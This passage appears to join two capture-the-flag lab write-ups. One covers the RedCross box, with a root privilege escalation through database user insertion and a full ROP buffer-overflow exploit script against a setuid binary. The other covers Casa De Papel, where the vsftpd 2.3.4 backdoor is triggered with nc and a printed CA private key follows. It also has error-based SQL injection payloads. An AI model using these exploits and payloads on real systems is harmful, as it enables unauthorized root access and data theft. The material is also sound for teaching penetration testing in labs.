sud0xdfer@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sud0xdfer@redcross:~$ id
uid=2023(sud0xdfer) gid=27(sudo) groups=27(sudo)

And sudo:

sud0xdfer@redcross:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for sud0xdfer:
root@redcross:/home/penelope# id
uid=0(root) gid=0(root) groups=0(root)

Get root.txt:

root@redcross:~# cat root.txt 
892a1f4d...

Path 2: Via unixnssroot

Create User With root Group

I confirmed with the box author that the intended path was as follows.

I’ll create a user just as the previous times with the root group id:

unix=> insert into passwd_table (username, passwd, gid, homedir) values ('ro0xdft', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 0, '/root');
INSERT 0 1

And ssh in:

root@kali# ssh ro0xdft@10.10.10.113
ro0xdft@10.10.10.113's password: 
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ro0xdft@redcross:~$ id
uid=2024(ro0xdft) gid=0(root) groups=0(root)

I have the root group, but I still can’t read root.txt, as it’s only readable to the root user:

ro0xdft@redcross:~$ cat root.txt 
cat: root.txt: Permission denied

ro0xdft@redcross:~$ ls -l root.txt 
-rw------- 1 root root 33 Jun  8  2018 root.txt

Find psql Configs

The jail in use here is based on something called Name Service Switch, which allows you to store user and group information in a database. PostgreSQL has a plugin for this (here’s an interesting blog for more reading).

There are two configuration files the article lists that define querying information from the database and feeding it to NSS: nss-pgsql.conf and nss-pgsql-root.conf. I can see both of those on RedCross:

ro0xdft@redcross:/etc$ ls -l nss-pgsql*
-rw-r--r-- 1 root root 1341 Jun  8  2018 nss-pgsql.conf
-rw-rw---- 1 root root  540 Jun  8  2018 nss-pgsql-root.conf

While nss-pgsql.conf has information I was already aware of, I’ll find a new user for the database, unixnssroot, in nss-pgsql-root.conf:

ro0xdft@redcross:/etc$ cat nss-pgsql-root.conf 
shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
shadowbyname = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1;
shadow = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username);

Add root User

Now I can connect to the database using the unixnssroot user and password from the config file:

ro0xdft@redcross:/etc$ psql -h 127.0.0.1 -U unixnssroot -p 5432 -d unix
Password for user unixnssroot: 
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=>

This user can add a user with user id 0 (root):

unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('r0xdfot', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 0, 0, '/root');
INSERT 0 1

Now I can exit pgsql and sudo into my new user:

ro0xdft@redcross:/etc$ su r0xdfot
Password: 
r0xdfot@redcross:/etc# id
uid=0(r0xdfot) gid=0(root) groups=0(root)

And read root.txt:

r0xdfot@redcross:~# cat root.txt 
892a1f4d...

Path 3: BOF in iptctl

Enumeration

From my shell as www-data or penelope, I have access to the iptctl binary:

penelope@redcross:/dev/shm$ ls -l /opt/iptctl
total 16
-rwsr-sr-x 1 root root 13152 Jun 10  2018 iptctl

It makes sense that it’s setuid, as only root can mess with the firewall rules, and I know it’s called by the php applications which are not running as root.

Source Analysis

The overflow happens in the interactive function:

#define BUFFSIZE 360

void interactive(char *ip, char *action, char *name){
        char inputAddress[16];
        char inputAction[10];
        printf("Entering interactive mode\n");
        printf("Action(allow|restrict|show): ");
        fgets(inputAction,BUFFSIZE,stdin);
        fflush(stdin);
        printf("IP address: ");
        fgets(inputAddress,BUFFSIZE,stdin);
        fflush(stdin);
        inputAddress[strlen(inputAddress)-1] = 0;
        if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
                printf("Usage: %s allow|restrict|show IP\n", name);
                exit(0);
        }
        strcpy(ip, inputAddress);
        strcpy(action, inputAction);
        return;
}

The program uses fgets to read 360 bytes into both inputAction and inputAddress, despite the fact that those buffers are allocated to 10 and 16 bytes respectively. Also, fgets will read any data, including nulls, so that makes life much easier. I don’t have to worry about those strcpy calls, even if they are vulnerable too. On 64-bit, finding an exploit with no nulls could prove challenging.

I will need whatever input I give to pass either isValidAction and isValidIpAddress:

int isValidIpAddress(char *ipAddress)
{
        struct sockaddr_in sa;
        int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
        return result != 0;
}

int isValidAction(char *action){
        int a=0;
        char value[10];
        strncpy(value,action,9);
        if(strstr(value,"allow")) a=1;
        if(strstr(value,"restrict")) a=2;
        if(strstr(value,"show")) a=3;
        return a;
}

The IP check is going to be hard to spoof. The action will be easy, as long as one of the three options is present in the first 9 bytes of the string.

So I’ll overflow the action parameter.

Check Defenses

It looks like full ASLR is enabled on RedCross:

penelope@redcross:/home/penelope$ cat /proc/sys/kernel/randomize_va_space
2

I’ll pull a copy of the binary back to my box by making a copy in one of the web directories and then pulling it down. Then I’ll open it in gdb:

root@kali# gdb -q ./iptctl
Reading symbols from ./iptctl...(no debugging symbols found)...done.
gdb-peda$ 

Then I can run checksec:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NX enabled means I can’t just drop shellcode on the stack and jump to it. But with no other protections, I can do a return oriented programming (ROP) attack.

Find Offset

Because I run gdb with peda, I have access to pattern_create:

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

Now I’ll start the program with the -i for interactive. When prompted for action, I’ll enter “allow” and the pattern. I need the allow to pass the valid action check. Then, I’ll enter a dummy IP for IP:

gdb-peda$ run -i
Starting program: /media/sf_CTFs/hackthebox/redcross-10.10.10.113/iptctl -i
Entering interactive mode
Action(allow|restrict|show): allowAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
IP address: 1.1.1.1

On hitting enter, I’m taken to:

Program received signal SIGSEGV, Segmentation fault.

The status looks like:

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdf9a ("allowAAA%A1.1.1.1")
RBX: 0x0
RCX: 0x7ffff7e70031 (<__strcasecmp_l_sse2+2881>:        test   DWORD PTR [rdi+0x66000016],ecx)
RDX: 0x11
RSI: 0x7fffffffde26 ("allowAAA%A1.1.1.1")
RDI: 0x7fffffffdf9a ("allowAAA%A1.1.1.1")
RBP: 0x414441412841412d ('-AA(AADA')
RSP: 0x7fffffffde48 ("A;AA)AAEAAaAA0AAFAAbA\n")   <--
RIP: 0x400b5e (<interactive+271>:       ret)
R8 : 0x7fffffffdd57 --> 0x0
R9 : 0x1
R10: 0xfffffffffffff482
R11: 0x7ffff7f58a60 --> 0xfff20cc0fff20cb0
R12: 0x4007b0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe090 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400b57 <interactive+264>:  call   0x4006f0 <strcpy@plt>
   0x400b5c <interactive+269>:  nop
   0x400b5d <interactive+270>:  leave  
=> 0x400b5e <interactive+271>:  ret    
   0x400b5f <main>:     push   rbp
   0x400b60 <main+1>:   mov    rbp,rsp
   0x400b63 <main+4>:   sub    rsp,0x160
   0x400b6a <main+11>:  mov    DWORD PTR [rbp-0x154],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde48 ("A;AA)AAEAAaAA0AAFAAbA\n")   <--
0008| 0x7fffffffde50 ("AAaAA0AAFAAbA\n")
0016| 0x7fffffffde58 --> 0xa4162414146 ('FAAbA\n')
0024| 0x7fffffffde60 --> 0x7fffffffdfd0 --> 0x200040000
0032| 0x7fffffffde68 --> 0x7ffff7ffe730 --> 0x7ffff7fd3000 (jg     0x7ffff7fd3047)
0040| 0x7fffffffde70 --> 0x0
0048| 0x7fffffffde78 --> 0x7ffff7fdf3af (<_dl_lookup_symbol_x+335>:     add    rsp,0x30)
0056| 0x7fffffffde80 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400b5e in interactive ()

In 64-bit, the bad address won’t actually load into RIP, but I can find the offset at the top of the stack, at RSP. I’ve marked it in the output above with <--

Now I’ll get the offset:

gdb-peda$ pattern_offset A;AA
A;AA found at offset: 29

Note, that is 29 beyond the “allow” I started my input with.

I can run again and give “allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB” as input, and see that it crashes trying to pop BBBBBBBB into RIP.

Payload Strategy

Now I just need a payload to run with my control over RIP. Were this a 32-bit host, a simple ret2libc would be the obvious choice, as I’ve recently shown in Frolic and October. I’ll take a similar strategy here, but there’s two things I’ll need to do differently for a 64-bit host.

First, in x64 parameters are passed to a function differently. In x86, arguments are passed on that stack, so I could over write the return pointer with the function I wanted to call, then the next word was the exit address (or junk), and then the next word(s) were the arguments to pass. In x64, the arguments are passed in registers. So to call system("sh"), I need to get the address of the string “sh” into the RDI register.

Second, ASLR uses a much larger address space in x64:

penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f832410e000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f96ddd9f000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f81ef037000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fea7918b000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd7999c1000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7a548e8000)
penelope@redcross:/home/penelope$ ldd /opt/iptctl/iptctl | grep libc
ldd /opt/iptctl/iptctl | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3048358000)

Looking at those results, I see 28 bits of range (7 4-bit hex characters). So where as before the math on 1000 attempts was 1 – (511/512)1000 = 85.84%, in this case instead of 29 I have 228, so 1 – (268435455/268435456)1000 = 0.000372528%. If I up it to a million attempts, my odds of success jump to 0.40%.

Fortunately for me, the program makes a call to execvp to call iptables, which means there’s an entry for it in the PLT, which does not change with ASLR. execvp is called as int execvp(const char *file, char *const argv[]); according to the man page. So that just means I need to get “sh” into RDI and a null word into RSI (for no arguments).

ROP

I’m going to work with what are known as ROP gadgets – Little snips of code at addresses that aren’t changing that will do some work for me and then return. For simple gadgets, I can just type rop in gdb/peda, and it will return a list:

gdb-peda$ rop
Gadgets information                                                  
============================================================
0x00000000004007d9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000400d58 : add al, ch ; ret 0xfff9
0x00000000004007df : add bl, dh ; ret
...[snip]...
0x0000000000400de3 : pop rdi ; ret
0x0000000000400de1 : pop rsi ; pop r15 ; ret
...[snip]...
Unique gadgets found: 93

I’ve truncated must of the output, but scrolling through these two in the middle jumped out as useful to me. The first will pop the top value on the stack (something I control) into RDI and then return. The second will pop into RSI, then pop into R15, and then return. As long as I don’t mind messing up R15 (which I don’t), this works.

I’ll make a payload that looks like this:

"allow" + "A"*29 + pop_rdi + sh_string + pop_rsi_r15 + null + anything + execvp_addr

When the function returns, it will go to the top value on the stack, my pop_rdi gadget. Now the top of the stack will be the address of the “sh” string. So as the pop_rsi gadget runs, it will pop that address into RDI and return. When it returns, the address of the second gadget is atop the stack. Return is executed, going to that gadget, and leaving value_for_rsi at the top. After two pops, two more values I provide put into RSI and R15, and the address of execvp is on top of the stack when another return is reached. Now it runs and gives me a shell.

I’ll add a couple more gadgets in there in actuality to run setuid before running execve, but that illustrates the idea.

Payload

I just need the values for the registers. First, I want the string “sh” in rdi. Luckily, it exists inside the main binary, where the address will be static:

gdb-peda$ find "sh"                       
Searching for 'sh' in: None ranges                                             
Found 110 results, display max 110 items:                                       
    iptctl : 0x40046e --> 0x7063727473006873 ('sh')
    iptctl : 0x400e17 --> 0x62732f00776f6873 ('show')
    iptctl : 0x400e78 --> 0x203a29776f6873 ('show): ')
    iptctl : 0x400ea9 ("show IP\n")                    
    iptctl : 0x400ed1 ("show IP_ADDR\n")

That top one is perfect. It’s actually the end of the string “fflush”, but that’s ok:

gdb-peda$ x/s 0x40046e                                                                   
0x40046e:       "sh"                                                                                   
gdb-peda$ x/s 0x40046a                                                          
0x40046a:       "fflush"

I can get the PLT address of execvp by starting gdb fresh and printing the function:

gdb-peda$ p execvp
$1 = {<text variable, no debug info>} 0x400760 <execvp@plt>

If I let the debugger run, after the function is called, the inner workings get updated such that that same command will show the libc address:

gdb-peda$ p execvp
$1 = {int (const char *, char * const *)} 0x7ffff7ea3240 <__GI_execvp>

But the libc address changes with ASLR, so I want the first one.

I can see all the plt functions that I’ll have access to in gdbi by opening gdb and running plt:

gdb-peda$ plt
Breakpoint 1 at 0x400760 (execvp@plt)
Breakpoint 2 at 0x400770 (exit@plt)
Breakpoint 3 at 0x400750 (fflush@plt)
Breakpoint 4 at 0x400730 (fgets@plt)
Breakpoint 5 at 0x400790 (fork@plt)
Breakpoint 6 at 0x400740 (inet_pton@plt)
Breakpoint 7 at 0x400720 (printf@plt)
Breakpoint 8 at 0x400700 (puts@plt)
Breakpoint 9 at 0x400780 (setuid@plt)
Breakpoint 10 at 0x4006f0 (strcpy@plt)
Breakpoint 11 at 0x400710 (strlen@plt)
Breakpoint 12 at 0x4006e0 (strncpy@plt)
Breakpoint 13 at 0x4007a0 (strstr@plt)

I’ll make use of setuid as well.

Interaction

It can sometimes be a pain to interact with a binary like iptctl that is sending prompts and looking for input on stdin. I could use pwntools, but that won’t be installed on the target system. But socat is on the target system. So I’ll use socat to listen on a socket and have that interact with the program. Then, I can connect from my host and use pwntools to get a shell.

socat takes two multidirectional byte streams and connects them. The two parameters are the two streams, like this:

socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"

This defines the first stream as listening on TCP 9001. The second stream is the program running in interactive mode.

Now I can set the target of my exploit to 10.10.10.113:9001, and run it.

Exploit

All of that adds up to:

  1 #!/usr/bin/env python
  2 # on redcross setup iptctl with socat listening on 9001
  3 # socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"
  4 
  5 from pwn import *
  6 
  7 
  8 # addresses
  9 execvp  = p64(0x400760) # execve plt
 10 setuid  = p64(0x400780) # setuid plt
 11 pop_rdi = p64(0x400de3) # pop rdi; ret
 12 pop_rsi = p64(0x400de1) # pop rsi; pop r15; retd
 13 sh_str  = p64(0x40046e) # "sh"
 14 
 15 #setup payload
 16 payload = "allow" +("A"*29)
 17 
 18 # setuid(0)
 19 payload += pop_rdi
 20 payload += p64(0)
 21 payload += setuid
 22 
 23 # execvp("sh", 0)
 24 payload += pop_rdi
 25 payload += sh_str
 26 payload += pop_rsi
 27 payload += p64(0)
 28 payload += p64(0)
 29 payload += execvp
 30 
 31 payload += "\n7.8.8.9\n"
 32 
 33 log.info("Attempting to connect")
 34 try:
 35     p = remote("10.10.10.113",9001)
 36 except pwnlib.exception.PwnlibException:
 37     log.warn("Could not connect to target")
 38     log.warn('Is socat running on target?')
 39     log.warn('TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i" running?')
 40     exit()
 41 p.sendline(payload)
 42 p.interactive()

If I run without starting socat, it warns me:

root@kali# python ./pwn_iptctl.py
[*] Attempting to connect
[-] Opening connection to 10.10.10.113 on port 9001: Failed
[ERROR] Could not connect to 10.10.10.113 on port 9001
[!] Could not connect to target
[!] Is socat running on target?
[!] TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i" running?

Start socat:

penelope@redcross:/dev/shm$ socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"

And exploit to get shell with effective userid of root:

root@kali# python pwn_iptctl.py
[*] Attempting to connect
[+] Opening connection to 10.10.10.113 on port 9001: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(penelope) egid=0(root) groups=0(root)

Beyond Root

SQLi Details

I noticed when I added a ' to the o parameter in the url that I got a debug statement back from the page:

When I ran sqlmap, it offered this as one of the proof of concepts to get data:

    Type: error-based                                                        
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: o=9') AND (SELECT 8387 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(8387=8387,1))),0x7170786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vfSo&page=app

This statement is going to create an error condition because of how GROUP BY requires unique values. This video walks through that in more detail, and here’s another post describing this kind of error.

NETSPI has a list of error based injections that gives a simplified version of that query:

SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)

If I visit https://intra.redcross.htb/?o=1') and (select 1 from (Select count(*),Concat((version()),0x3a,floor(rand (0) *2))y from information_schema.tables group by y) x)-- -&page=app, I get the db version back:

1555090092657

Note, the “:1” at the end is not part of the version, but rather the result of the concat in the injection and the rand that causes the error.

The NETSPI list has a simpler version that uses XML Parse Errors. Their example is:

SELECT extractvalue(rand(),concat(0x3a,(select version())))

Playing around with that a bit to get it to work, I can get a version out of the page by going to:

https://intra.redcross.htb/?page=app&o=1' and extractvalue(0x0a,concat(0x0a,(version()))) and 1)':

1555090646456

Jail Config

I’ll notice that the php code uses the following query to the database to create a user:

"insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')"

The group is set to 1001, and the homedir is set to /var/jail/home.

When I ssh in as one of these users, I can see group 1001 is associates:

$ id
uid=2025 gid=1001(associates) groups=1001(associates)

However, if I try to cd ~, it returns an error:

$ cd ~
-bash: cd: /var/jail/home: No such file or directory

If I use my root shell to look at the /etc/ssh/sshd_config file, I’ll see what’s going on:

r0xdfot@redcross:/# grep -v "^#" /etc/ssh/sshd_config | grep .
PermitRootLogin prohibit-password
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server
Match group associates
          ChrootDirectory /var/jail/
          X11Forwarding no
          AllowTcpForwarding no

At the bottom, it says that for any user in the associates group, change the root directory to /var/jail. So when I connect as this new account, my / is actually the system’s /var/jail, so /var/jail/home to me would be /var/jail/var/jail/home to the system, which doesn’t exist.

That is a neat way to keep users to a limited directory space.

I can also fix this in the php code. If I change the homedir in the query above to just /home, then create a user, now the homedir works as I suspect the author intended:

$ id
uid=2026 gid=1001(associates) groups=1001(associates)
$ cd ~
$ pwd
/home

All credits to :  https://0xdf.gitlab.io/2019/04/13/htb-redcross.html

HTB – Casa De Papel

Today we are going to solve another CTF challenge “Casa De Papel”. a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to their experience. They have a collection of vulnerable labs as challenges; ranging from beginners to expert level.

Level: Easy

Task: To find user.txt and root.txt file

As always we start with a nmap scan.

root@kali:~/htb/casadepapel# nmap -sC -sV -oA casa_alltcp 10.10.10.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 09:17 EDT
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.11s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.30 seconds

Website – TCP 80

The site is a picture (from the TV show this box is themed on) with a QR-code:

1554165822335

The qr decodes to:

otpauth://hotp/Token?secret=IJUWOYLIFRDE2RZPKVFWWQ3XPFWCMVST&algorithm=SHA1

This is definitely worth nothing moving forward, but I don’t end up finding an use for it.

Website – TCP 443

The HTTPS site is similar, but different, as it complains about a certificate error:

1554165925479

I’ll make note to look for a way to generate a client certificate.

FTP

Often when I see FTP in nmap results on CTFs, the scripts point out anonymous login. That wasn’t the case here. That typically means there’s not much to do until I find creds. However, it’s always worth checking the version for vulnerabilities, and in case I didn’t recognize this version as a relatively famously backdoored version, I could have found it with searchsploit:

root@kali# searchsploit vsftpd 2.3.4
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)        | exploits/unix/remote/17491.rb
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Psy Shell

Exploit

After some googling and reading a couple articles like this one, I can see it turns out the vulnerability is pretty simple. Connect to FTP with any username that contains 🙂, and any password. Then connect to port 6200 to get a shell.

I can make this FTP connection with nc:

root@kali# nc 10.10.10.131 21
220 (vsFTPd 2.3.4)
USER backdoored:)
331 Please specify the password.
PASS invalid

Now connect to the backdoor, and get a shell:

root@kali# rlwrap nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

 

Psy

This strange shell is psy, a “A runtime developer console, interactive debugger and REPL for PHP.” It takes php commands:

Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
getcwd()
=> "/"
get_current_user()
=> "root"

Unfortunately, system and other commands that run code on the OS seem to be blocked:

system('echo test');
PHP Fatal error:  Call to undefined function system() in Psy Shell code on line 1

For some reason, system is undefined. If I run phpinfo(), I can see why:

phpinfo()
PHP Version => 7.2.10                                        

System => Linux lacasadepapel 4.14.78-0-virt #1-Alpine SMP Tue Oct 23 11:43:38 UTC 2018 x86_64 
Build Date => Sep 17 2018 09:23:43
...[snip]...
disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
...[snip]...

The functions that would give me execution are blocked.

I can enumerate the box using scandir to list files, and file_get_contents to read files.

scandir("/home")
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]
file_get_contents("/etc/os-release")
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.8.1
PRETTY_NAME="Alpine Linux v3.8"
HOME_URL="http://alpinelinux.org"
BUG_REPORT_URL="http://bugs.alpinelinux.org"

The help command does give a bunch of options related to debugging code:

help
  help       Show a list of commands. Type `help [foo]` for information about [foo].      Aliases: ?                     
  ls         List local, instance or class variables, methods and constants.              Aliases: list, dir             
  dump       Dump an object or primitive.
  doc        Read the documentation for an object, class, constant, method or property.   Aliases: rtfm, man             
  show       Show the code for an object, class, constant, method or property.
  wtf        Show the backtrace of the most recent exception.                             Aliases: last-exception, wtf?  
  whereami   Show where you are in the code.
  throw-up   Throw an exception or error out of the Psy Shell.
  timeit     Profiles with a timer.
  trace      Show the current call stack.
  buffer     Show (or clear) the contents of the code input buffer.                       Aliases: buf                   
  clear      Clear the Psy Shell screen.
  edit       Open an external editor. Afterwards, get produced code in input buffer.
  sudo       Evaluate PHP code, bypassing visibility restrictions.
  history    Show the Psy Shell history.                                                  Aliases: hist                  
  exit       End the current session and return to caller.                                Aliases: quit, q

Shell as Professor

Find Key

In looking around the box, I checked out the home directories and found something interesting in /home/nairobi:

scandir("/home/nairobi/")
=> [
     ".",
     "..",
     "ca.key",
     "download.jade",
     "error.jade",
     "index.jade",
     "node_modules",
     "server.js",
     "static",
   ]     

echo file_get_contents("/home/nairobi/ca.key")
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc
53udBEzjt3WPqYGkkDknVhjD
-----END PRIVATE KEY-----

Given that I was seeing errors with TLS on the port 443 site earlier, this is interesting. There’s an alternative way to find this key, and that’s using psy itself. If I run ls, it shows me a variable, $tokoyo, and it’s contents point to the key:

ls
Variables: $tokyo
show $tokyo
  > 2| class Tokyo {
    3|  private function sign($caCert,$userCsr) {
    4|          $caKey = file_get_contents('/home/nairobi/ca.key');
    5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|          openssl_x509_export($userCert, $userCertOut);
    7|          return $userCertOut;
    8|  }
    9| }

Access Private Area

With access to the private key for the webserver, I can create a client certificate which will hopefully show me something new when I connect.

